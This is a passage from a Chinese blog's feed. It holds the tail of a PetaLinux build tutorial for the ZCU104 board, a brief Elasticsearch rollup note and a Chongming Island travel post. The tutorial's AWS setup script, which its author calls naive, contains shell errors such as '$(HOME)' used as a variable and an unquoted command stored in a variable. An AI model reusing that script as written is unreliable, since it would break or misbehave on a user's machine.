<code>&lt;project_dir&gt;/project-spec/meta-user/recipes-core/images/petalinux-image.bbappend</code>文件中增加这句话<code>IMAGE_INSTALL_append = &quot; ffmpeg&quot;</code>。之后</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd &lt;project_dir&gt;</span><br><span class="line">petalinux-config -c rootfs</span><br></pre></td></tr></table></figure><p>在弹框中选择<code>user packages</code>，然后enable ffmpeg即可。</p></li><li><p>U-boot启动自动设置内网ip：</p><p>在<code>&lt;project_dir&gt;</code>输入<code>petalinux-config</code>，依次选择<code>Subsystem AUTO Hardware Settings-&gt;Ethernet Settings-&gt;Obtain IP address automatically</code>，然后取消<code>Obtain IP address automatically</code>，会自动出现三行信息来设置<code>IP address/netmask/gateway</code>。</p></li><li><p><em>编译系统镜像</em>：这个过程稍微有些久，耐心等待即可。为防止遇到奇怪的编码错误，在编译前请加上这三句</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">export LC_ALL=en_US.UTF-8</span><br><span class="line">export LANG=en_US.UTF-8</span><br><span class="line">export LANGUAGE=en_US.UTF-8</span><br></pre></td></tr></table></figure><p>这时候执行下面的代码即可。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd &lt;project_dir&gt;</span><br><span class="line">petalinux-build</span><br></pre></td></tr></table></figure></li><li><p><em>生成固件BOOT.BIN、image.ub</em>：</p></li></ol>  <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd &lt;project_dir&gt;</span><br><span class="line">petalinux-package --boot --fsbl ./images/linux/zynqmp_fsbl.elf --fpga ./images/linux/system.bit  --pmufw ./images/linux/pmufw.elf --u-boot</span><br></pre></td></tr></table></figure><ol start="11"><li><em>验证</em>：接下来就是激动人心的时刻了，我们把生成的BOOT.BIN、image.ub拷进SD卡中，放入zcu104板子，选择从SD卡启动，如果能看到linux的操作界面，那就说明你成功啦。若rootfs中包含了ffmpeg，输入ffmpeg验证下ffmpeg是否安装成功。以上。</li></ol><p>   在写DMA驱动的时候发现了，更简单的验证方法，不需要将数据拷贝到SD卡，直接命令行输入<code>petalinux-boot --qemu --kernel</code>可以使用模拟器进行测试，具体需要测试的东西同我上文提到的。</p><p>#AWS迁移</p><p>然后今天GCE的300刀用完了（还不是因为穷加不记事），于是写了个半自动化的naive脚本帮我在AWS上完成安装petalinux的操作，第一个参数是petalinux installer的下载路径，第二个参数是bsp的下载路径。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/sh</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">input to installer and bsp</span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash"><span class="keyword">while</span> <span class="built_in">getopts</span> <span class="string">&quot;:a:b:&quot;</span> opt; <span class="keyword">do</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">      <span class="keyword">case</span> <span class="string">&quot;<span class="variable">$&#123;opt&#125;</span>&quot;</span> <span class="keyword">in</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              a)</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              INSTALLER_FILE=<span class="variable">$a</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="variable">$&#123;a&#125;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="string">&#x27;haha&#x27;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="variable">$INSTALLER_FILE</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              ;;</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              b)</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              BSP_FILE=<span class="variable">$b</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="variable">$b</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="variable">$BSP_FILE</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              ;;</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              ?)</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">echo</span> <span class="string">&quot;You must specify petalinux installer and bsp file download url paths and the urls should be verified by xilinx.&quot;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">              <span class="built_in">exit</span> 1;;</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">   <span class="keyword">esac</span></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash"><span class="keyword">done</span></span></span><br><span class="line">INSTALLER_FILE=$1</span><br><span class="line">BSP_FILE=$2</span><br><span class="line">echo $INSTALLER_FILE</span><br><span class="line">echo $BSP_FILE</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">install relay</span></span><br><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install tofrodos iproute2 gawk gcc git make xvfb net-tools libncurses5-dev tftpd zlib1g-dev libssl-dev flex bison libselinux1 gnupg wget diffstat chrpath socat xterm autoconf libtool tar unzip texinfo zlib1g-dev gcc-multilib build-essential libsdl1.2-dev libglib2.0-dev screen pax gzip tar -y</span><br><span class="line">sudo dpkg --add-architecture i386</span><br><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install zlib1g-dev:i386 -y</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">depend on ur machine</span></span><br><span class="line">export LC_ALL=en_US.UTF-8</span><br><span class="line">export LANG=en_US.UTF-8</span><br><span class="line">export LANGUAGE=en_US.UTF-8</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">download installer and bsp</span></span><br><span class="line">PETALINUX_INSTALLER_NAME=petalinux-installer.run</span><br><span class="line">BSP_FILE_NAME=board.bsp</span><br><span class="line">PETALINUX=petalinux</span><br><span class="line">BOARD=board</span><br><span class="line">cd $HOME</span><br><span class="line">wget $INSTALLER_FILE -O $PETALINUX_INSTALLER_NAME</span><br><span class="line">wget $BSP_FILE -O $BSP_FILE_NAME</span><br><span class="line">chmod +x $PETALINUX_INSTALLER_NAME</span><br><span class="line">mkdir $PETALINUX</span><br><span class="line">mkdir $BOARD</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">install installer and bsp</span></span><br><span class="line">PETALINUX_INSTALL_SCRIPT=./$PETALINUX_INSTALLER_NAME $PETALINUX</span><br><span class="line"><span class="meta prompt_">$</span><span class="language-bash">PETALINUX_INSTALL_SCRIPT</span></span><br><span class="line">sh $(HOME)/$(PETALINUX)/settings.sh</span><br><span class="line">cd $BOARD</span><br><span class="line">BSP_INSTALL_SCRIPT=petalinux-create -t project -s $HOME/$(BSP_FILE_NAME)</span><br><span class="line"><span class="meta prompt_">$</span><span class="language-bash">BSP_INSTALL_SCRIPT</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;Petalinux是Xilinx推出的嵌入式Linux开发工具。本篇文章基于Xilinx官方文档&lt;a href=&quot;https://www.xilinx.com/support/documentation/sw_manuals/xilinx2018_1/ug1144-petalinux-tools-reference-guide.pdf&quot;&gt;Petalinux Tools Documentation&lt;/a&gt;，另外在本篇文章中指出了我在编译过程中遇到的一些错误，希望能帮大家节省时间，轻喷。&lt;/p&gt;
&lt;p&gt;（如遇到问题请在我的github&lt;a href=&quot;https://github.com/suikammd/suikammd.github.io/issues&quot;&gt;suikammd&lt;/a&gt;上提issue，谢谢，还没有搞评论区，拖延症&amp;#x3D;。&amp;#x3D;）&lt;/p&gt;
&lt;h1 id=&quot;环境准备&quot;&gt;&lt;a href=&quot;#环境准备&quot; class=&quot;headerlink&quot; title=&quot;环境准备&quot;&gt;&lt;/a&gt;环境准备&lt;/h1&gt;&lt;ol&gt;
&lt;li&gt;Ubuntu虚拟机，我是在Google Cloud Engine上免费申请的虚拟机，区域是台湾，速度比较快，大小是15GB内存、4个vCPU以及60GB硬盘。（不要自己折腾VMware，后续petalinux编译需要翻墙，速度极慢，而且GCE上面可以随便折腾，感谢咕咕！）&lt;/li&gt;
&lt;li&gt;Petalinux SDK Installer、zcu104 BSP file，这两个文件均可以在&lt;a href=&quot;https://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/embedded-design-tools.html&quot;&gt;file download&lt;/a&gt;中下载，我下载的版本都是2018.1的。如果需要下载高版本的，请注意查看板子是否支持，SDK installer和BSP的版本必须一致！</summary>
    
    
    
    
    <category term="petalinux" scheme="https://suikammd.github.io/zh-Hans/tags/petalinux/"/>
    
  </entry>
  
  <entry>
    <title>elasticsearch rollup</title>
    <link href="https://suikammd.github.io/zh-Hans/2018/10/12/elasticsearch-rollup/"/>
    <id>https://suikammd.github.io/zh-Hans/2018/10/12/elasticsearch-rollup/</id>
    <published>2018-10-12T05:01:47.000Z</published>
    <updated>2026-11-19T12:58:15.308Z</updated>
    
    <content type="html"><![CDATA[<p>日志数据冗余且庞大，使用es的rollup功能可以预先对数据做处理，节省数据存储空间。</p><h3 id="基本功能初识"><a href="#基本功能初识" class="headerlink" title="基本功能初识"></a>基本功能初识</h3><p>rollup位于es x-pack包，本文使用的es版本是7.2.0。这里主要讨论rollup api对应的start和search功能，同时对于rollup的搜索和普通的搜索有什么区别。</p><ol><li><p>rollup 基本使用</p><p>具体如何创建、删除、查看、启停rollup服务参看elasticsearch的官方文档。</p></li><li><p>rollup start</p><p>rollup创建完成后需要调用start才能开始执行，默认是stop状态</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">POST /_rollup/job/&#123;id&#125;/_start</span><br></pre></td></tr></table></figure><p>这个请求会落到<code>TransportStartRollupAction</code>的taskOperation，接着调用<code>RollupJobTask</code>的start，然后调用<code>RollupIndexer</code>类的实现<code>ClientRollupPageManager</code>执行搜索和bulk操作，</p></li><li></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;日志数据冗余且庞大，使用es的rollup功能可以预先对数据做处理，节省数据存储空间。&lt;/p&gt;
&lt;h3 id=&quot;基本功能初识&quot;&gt;&lt;a href=&quot;#基本功能初识&quot; class=&quot;headerlink&quot; title=&quot;基本功能初识&quot;&gt;&lt;/a&gt;基本功能初识&lt;/h3&gt;&lt;p&gt;rol</summary>
      
    
    
    
    
    <category term="elasticsearch" scheme="https://suikammd.github.io/zh-Hans/tags/elasticsearch/"/>
    
  </entry>
  
  <entry>
    <title>崇明岛一日游</title>
    <link href="https://suikammd.github.io/zh-Hans/2018/10/12/chongming_island/"/>
    <id>https://suikammd.github.io/zh-Hans/2018/10/12/chongming_island/</id>
    <published>2018-10-12T05:01:47.000Z</published>
    <updated>2026-11-19T12:58:15.308Z</updated>
    
    <content type="html"><![CDATA[<p>从金桥出发，租车到达崇明岛。虽然是国庆期间，路上也不怎么堵车，一路都在睡觉。<br>到达崇明岛前经过了一个小岛，阳光很好，在树影交错的路上行驶。路两边有卖橘子、螃蟹等各种特产的小贩。<br><img src="https://i.imgur.com/jiQXXYf.jpg" alt="Imgur"><br><em>超级温馨啊，想想自己岁数大的时候，头发斑白，也能像这两位老人一样幸福</em></p><span id="more"></span><ul><li><p>东滩湿地<br><img src="https://i.imgur.com/rbUpFwU.jpg" alt="Imgur"><br><img src="https://i.imgur.com/kBCYNsW.jpg" alt="Imgur"></p></li><li><p>西沙湿地<br>本来这部分是这篇博客的重点。西沙湿地到处是芦苇，芦苇荡里藏着很多红色的小螃蟹。去年的时候，我们买了肉钓上来一大袋小螃蟹，小螃蟹蠢蠢的闻到肉味就开心的抓着肉怎么都不放开，但是被捉进袋子里之后反而不吃肉了，让人无法理解。后来离开湿地之后，路上摘了一袋子橘子，吃着吃着橘子想着螃蟹被吃掉也很可怜就放了。<br>我们一行6个人到达湿地停车场的时候，不幸被告知由于台风有原因，湿地栈道被破坏了，直到明年都要进行修复工程。<br>尽管这次出行是在我的鼓吹下，竟然也没有人抱怨和吐槽，也许以前的我早就暴跳如雷了。不过现在我似乎也变得比较随意，想想还可以摘橘子（不过对于不能让小朋友捉到螃蟹觉得有点惭愧）。<br>这次出去玩也是一个教训，就是每次做事情都应该做充足的准备，即便这件事情曾经很好地完成过，也不能给自己留下过好的预期。</p></li><li><p>崇明荷花塘<br><strong>强烈不推荐秋天去！！！</strong><br><img src="https://i.imgur.com/RtDl1Nh.jpg" alt="Imgur"><br><em>如图，全是荷叶，基本没有荷花了&#x3D;。&#x3D;，图中是同事和他的小盆友。</em><br>不过在荷花塘遇到了神奇的植物，看起来像是超级小的苹果和山楂，名字也很奇怪，已经不记得了。<br><img src="https://i.imgur.com/9BvzW2L.jpg" alt="Imgur"></p></li><li><p>摘橘子<br>崇明岛的橘子10斤只要20元，震惊！老板还要请我11月中旬再来摘，那是橘子真正成熟的季节。<br><img src="https://i.imgur.com/QyzwbpX.jpg" alt="Imgur"></p></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;从金桥出发，租车到达崇明岛。虽然是国庆期间，路上也不怎么堵车，一路都在睡觉。&lt;br&gt;到达崇明岛前经过了一个小岛，阳光很好，在树影交错的路上行驶。路两边有卖橘子、螃蟹等各种特产的小贩。&lt;br&gt;&lt;img src=&quot;https://i.imgur.com/jiQXXYf.jpg&quot; alt=&quot;Imgur&quot;&gt;&lt;br&gt;&lt;em&gt;超级温馨啊，想想自己岁数大的时候，头发斑白，也能像这两位老人一样幸福&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="玩玩玩" scheme="https://suikammd.github.io/zh-Hans/tags/%E7%8E%A9%E7%8E%A9%E7%8E%A9/"/>
    
  </entry>
  
</feed>
